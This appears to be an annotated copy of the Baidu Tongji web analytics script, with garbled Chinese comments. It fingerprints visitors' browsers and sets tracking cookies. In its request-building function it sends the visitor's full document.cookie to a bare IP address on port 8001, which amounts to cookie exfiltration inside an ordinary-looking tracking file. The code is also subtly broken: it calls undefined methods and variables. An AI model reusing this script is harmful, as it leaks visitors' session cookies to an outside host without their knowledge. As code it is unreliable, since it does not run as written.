(function (doc, win, undefined) {
    var cfg = {
        id: "09c5d4daddb9b6250ba93075257e58a2",//site id
        dm: ["tongji.baidu.com"],//domain
        etrk: [{
            id: "Btn1",
            eventType: "onclick"
        }, {
            id: "Btn2",
            eventType: "onclick"
        }, {
            id: "Getcode",
            eventType: "onclick"
        }, {
            id: "AdvancedOptionContainer",
            eventType: "onclick"
        }, {
            id: "FromType",
            eventType: "onclick"
        }, {
            id: "recommendKeyword",
            eventType: "onclick"
        }],
        js: "tongji.baidu.com/hm-web/js/",
        icon: '',
        br: false,
        ctrk: false,
        align: -1,
        vdur: 1800000,
        lpvt: 0,
        age: 31536000000,
        sindex: [1, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13],
        sengin: ["baidu.com", "baidu.com", "google.com", "google.cn", "sogou.com", "zhongsou.com", "search.yahoo.com", "one.cn.yahoo.com", "soso.com", "114search.118114.cn", "search.live.com", "youdao.com", "gougou.com", "bing.com"],
        sword: ["word", "wd", "q", "q", "query", "w", "p", "p", "w", "kw", "q", "q", "search", "q"]
    };

    function h() {
        this.f = this.H = (new Date).getTime();
        this.J = 0;
        typeof document.R == "object" ? (i(document, "focusin", j(this)), i(document, "focusout", j(this))) : (i(window, "focus", j(this)), i(window, "blur", j(this)))
    }
    function j(a) {
        return function (b) {
            if (!(b.target != void 0 && b.target != window)) {
                if (b.type == "blur" || b.type == "focusout") a.J += (new Date).getTime() - a.f;
                a.f = (new Date).getTime()
            }
        }
    };
	
	// event a {obj} b {evt type} d {fn}
    function i(obj, type, fn) {
        obj.attachEvent ? obj.attachEvent("on" + type, function (type) {
            fn.call(obj, type)
        }) : obj.addEventListener && obj.addEventListener(type, fn, false)
    }
    var k = ["cpro.baidu.com"],//domain
        l = (new Date).getTime(),//time
        m = ["cc", "cf", "ci", "ck", "cl", "cm", "cp", "cw", "ds", "ep", "et", "fl", "ja", "ln", "lo", "lt", "nv", "rnd", "sb", "se", "si", "st", "su", "sw"];//url param
	
	// main fn
    function o() {
        this.a = {};
        this.P = [];
        this.D()
    }
    o.prototype = {
		// match url ²ÎÊýÖµ
        b: function (value, url) {
            var d = url.match(RegExp("(^|&|\\?)" + value + "=([^&]*)(&|$|#)"));
            return d ? d[2] : ""
        },
		//flash
        L: function (a, b, d, e, g) {
            var f = '<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" width="' + d + '" height="' + e + '" id="' + a + '" align="middle">';
            f += '<param name="allowscriptaccess" value="always">';
            f += '<param name="quality" value="high">';
            f += '<param name="movie" value="' + b + '">';
            f += '<param name="flashvars" value="' + g + '">';
            f += '<embed src="' + b + '" flashvars="' + g + '" quality="high" width="' + d + '" height="' + e + '" name="' + a + '" align="middle" allowscriptaccess="always" wmode="W" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer">';
            f += "</object>";
            return f
        },
		//set cookie
        setcookie: function (key, value, domain, path, time) {
            var expires = new Date;
            expires.setTime(f.getTime() + time);
            doc.cookie = key + "=" + value + (time == null ? "" : "; expires=" + f.toGMTString()) + "; domain=" + domain + (path ? "; path=" + path : "")
        },
        getcookie: function (a) {
            if (a = RegExp("(^| )" + a + "=([^;]*)(;|$)").exec(doc.cookie)) return a[2] || "";
            return ""
        },
		// ·Ö±æÂÊ
        o: function () {
            this.a.ds = win.screen.width + "x" + win.screen.height
        },
		// Õæ²ÊÉ«
        m: function () {
            this.a.cl = win.screen ? win.screen.colorDepth + "-bit" : ""
        },
		// ÊÇ·ñ360ä¯ÀÀÆ÷
        w: function () {
            this.a.sb = "0";
            try {
                external.U(external.T(win)) && external.S.toLowerCase().indexOf("360se") > -1 && (this.a.sb = 17)
            } catch (a) {}
        },
		// ÊÇ·ñ½ûÓÃcookie
        l: function () {
            this.a.ck = navigator.cookieEnabled ? "1" : "0"
        },
		// flash°æ±¾
        p: function () {
            if (navigator.plugins && navigator.mimeTypes.length) {
                var a = navigator.plugins["Shockwave Flash"];
                a && a.description && (this.a.fl = parseInt(a.description.replace(/([a-zA-Z]|\s)+/, "").replace(/(\s)+r/, ".")) + ".0")
            } else if (win.O) {
                for (var a = 0, b = 10; b >= 2; b--) try {
                    if (new ActiveXObject("ShockwaveFlash.ShockwaveFlash." + b)) {
                        a = b + ".0";
                        break
                    }
                } catch (d) {}
                this.a.fl = parseInt(a) + ".0"
            }
        },
		// ÊÇ·ñ½ûÓÃjava
        r: function () {
            this.a.ja = navigator.javaEnabled() ? "1" : "0"
        },
		// ÓïÑÔ
        s: function () {
            var a = navigator;
            this.a.ln = (a.M ? a.M : a.k ? a.k : a.language ? a.language : a.N ? a.N : "-").toLowerCase()
        },
		//Í³¼ÆÕÊºÅ
        z: function () {
            this.a.si = cfg.id
        },
		//À´Ô´
        B: function () {
            var a = doc.referrer;
            this.a.su = a ? a : ""
        },
		//hostname is config domain?
        e: function (/*a*/ hostname, /*b*/domain) {
            if (domain.constructor == String) {
                var hostname = hostname.replace(/:\d+/, ""),//去掉端口
                    domain = domain.replace(/:\d+/, ""),
                    is = hostname.indexOf(domain);
                return is >= 0 && is + domain.length == hostname.length ? !0 : !1
            } else for (var len = domain.length, i = 0; i < len; i++) {
                var domain2 = domain[i],
                    lenDomain = domain2.length,
                    is = hostname.indexOf(domain2);
                if (is >= 0 && is + lenDomain == hostname.length) return domain2
            }
            return domain
        },
		//Ã²ËÆÊÇ¶þ¼¶ÓòÃû
        d: function (a, b) {
            if (b.constructor == String) {
                var d = a.indexOf(b);
                return d >= 0 && d <= 8 ? !0 : !1
            } else {
                for (var e = b.length, g = 0; g < e; g++) {
                    var f = b[g];
                    if (f.indexOf("/") > -1 && (d = a.indexOf(f), d >= 0 && d <= 8)) return f
                }
                return !1
            }
        },
		//»¹ÊÇÅÐ¶ÏÓòÃû
        G: function () {
            for (var a = cfg.dm, b = a.length, d = 0; d < b; d++) {
                var e = a[d];
                if (e.indexOf("/") > -1) {
                    if (this.d(doc.location.href, e)) return !0
                } else if (this.e(doc.location.hostname, e)) return !0
            }
            return !1
        },
        g: function () {
            return this.e(doc.location.hostname, cfg.dm)
        },
        h: function () {
            var a = this.d(doc.location.href, cfg.dm);
            return a ? a.replace(/^(https?:\/\/)?[^\/]+(\/.*)/, "$2") + "/" : "/"
        },
		// ÒÔÉÏÈ«ÊÇ¸ãÓòÃûµÄ
		//ËÑË÷¹Ø¼ü×ÖÄ£¿é
        A: function () {
            var a = doc.referrer;
            if (a) {
                for (var b = 0, d = cfg.sengin.length; b < d; b++) {
                    var e = this.b(cfg.sword[b], a);
                    if (a.indexOf(cfg.sengin[b]) > -1 && e) {
                        this.a.sw = e;
                        this.a.se = cfg.sindex[b];
                        this.a.st = "2";
                        b = 0;
                        for (d = k.length; b < d; b++) a.indexOf(k) > -1 && (this.a.sw = "");
                        return
                    }
                }
                d = !1;
                if (this.G()) for (var e = cfg.dm, g = e.length, b = 0; b < g; b++) {
                    var f = e[b];
                    f.indexOf("/") > -1 ? this.d(a, f) && (d = !0) : this.e(a.replace(/^(http|https):\/\//i, "").split("/")[0], f) && (d = !0)
                } else d = this.d(a, doc.location.hostname);
                this.a.st = d ? l - cfg.lpvt > cfg.vdur ? "1" : "4" : "3"
            } else this.a.st = l - cfg.lpvt > cfg.vdur ? "1" : "4"
        },
        n: function () {
            var a = doc.location.href;
            this.a.cm = this.b("hmmd", a);
            this.a.cp = this.b("hmpl", a);
            this.a.cw = this.b("hmkw", a);
            this.a.ci = this.b("hmci", a);
            this.a.cf = this.b("hmsr", a)
        },
		// Æ´url·¢ÇëÇó
        t: function () {
            var a = "";
			//»ñÈ¡ck
            cfg.lpvt = this.c("Hm_lpvt_" + cfg.id) || 0;
            this.A();
            a += this.a.st != "4" || !cfg.lpvt ? 1 : 0;
            this.i("Hm_lpvt_" + cfg.id, l, this.g(), this.h());
			//»ñÈ¡ck
            var b = this.c("Hm_lvt_" + cfg.id);
			//ÉèÖÃck
            a == "1" && this.i("Hm_lvt_" + cfg.id, l, this.g(), this.h(), cfg.vage);
            var d = this.c("Hm_lpvt_" + cfg.id) == l ? "1" : "0";
            this.a.cc = d;
            this.a.lt = b ? Math.round((b - 0) / 1E3) : "";
            this.a.nv = a;
            if (navigator.cookieEnabled && d === "0") {
                a = [];
                a.push("id=" + cfg.id);
                a.push("w=" + l);
                a.push("r=" + this.c("Hm_lpvt_" + cfg.id));
                a.push("cl=" + doc.cookie.length);
                a.push("c=" + doc.cookie);
                var a = this.protocol() + "123.125.114.142:8001/hm.gif?" + a.join("&"),
                    e = "_hm_image_" + (new Date).getTime(),
                    b = new Image;
                window[e] = b;
                b.onload = b.onerror = function () {
                    try {
                        window[e] = null, delete window[e]
                    } catch (a) {}
                };
                b.src = a;
                b = null
            }
        },
		//Ëæ»úÊý
        v: function () {
            this.a.rnd = Math.round(Math.random() * 2147483647)
        },
        C: function () {
            this.a.lo = typeof _bdhm_top == "number" ? "1" : "0"
        },
        K: function () {
            for (var a = [], b = 0, d = m.length; b < d; b++) {
                var e = m[b],
                    g = this.a[e];
                g && a.push(e + "=" + encodeURIComponent(g))
            }
            return a.join("&")
        },
        u: function () {
            this.t();
            this.n();
            this.B();
            this.z();
            this.s();
            this.r();
            this.p();
            this.l();
            this.m();
            this.o();
            this.w();
            this.C();
            this.a.et = "0";
            this.a.ep = "0"
        },
        protocol: function () {
            return doc.location.protocol == "https:" ? "https://" : "http://"
        },
		//Òì³£·¢ÇëÇó
        D: function () {
            try {
                this.F(), this.u(), this.I(), this.j(), this.Q = new h
            } catch (a) {
                var b = [];
                b.push("si=" + cfg.id);
                b.push("m=" + encodeURIComponent(a.message));
                b.push("n=" + encodeURIComponent(a.name));
                (new Image(1, 1)).src = this.protocol() + "123.125.114.142:8001/hm.gif?" + b.join("&")
            }
        },
		//Ã²ËÆÊÇÉÌÇÅ
        F: function () {
            if (cfg.br) {
                var a = this.q(cfg.id) % 1E3;
                doc.write(unescape("%3Cscript charset='utf-8' src='" + this.protocol() + "rqiao.baidu.com/site/" + a + "/" + cfg.id + "/b.js' type='text/javascript'%3E%3C/script%3E"))
            }
        },
        q: function (a) {
            for (var b = 5381, d = a.length, e = 0; e < d; e++) b = (b * 33 + new Number(a.charCodeAt(e))) % 4294967296;
            b > 2147483648 && (b -= 2147483648);
            return b
        },
        I: function () {
            this.v();
            var a = new Image(1, 1);
            a.onload = function () {};
            a.src = this.protocol() + "123.125.114.142:8001/hm.gif?" + this.K()
        },
		//·ÅÁ´½ÓµÄ
        j: function () {
            if (cfg.icon != "") {
                var a;
                a = cfg.icon.split("|");
                var b = "http://tongji.baidu.com/hm-web/welcome/ico?s=" + cfg.id,
                    d = a[0] + "." + a[1];
                switch (a[1]) {
                case "swf":
                    a = this.L("HolmesIcon" + l, d, a[2], a[3], "s=" + b);
                    break;
                case "gif":
                    a = '<a href="' + b + '" target="_blank"><img border="0" src="' + d + '" width="' + a[2] + '" height="' + a[3] + '"></a>';
                    break;
                default:
                    a = '<a href="' + b + '" target="_blank">' + a[0] + "</a>"
                }
                doc.write(a)
            }
        }
    };
    new o;
})(document, window);
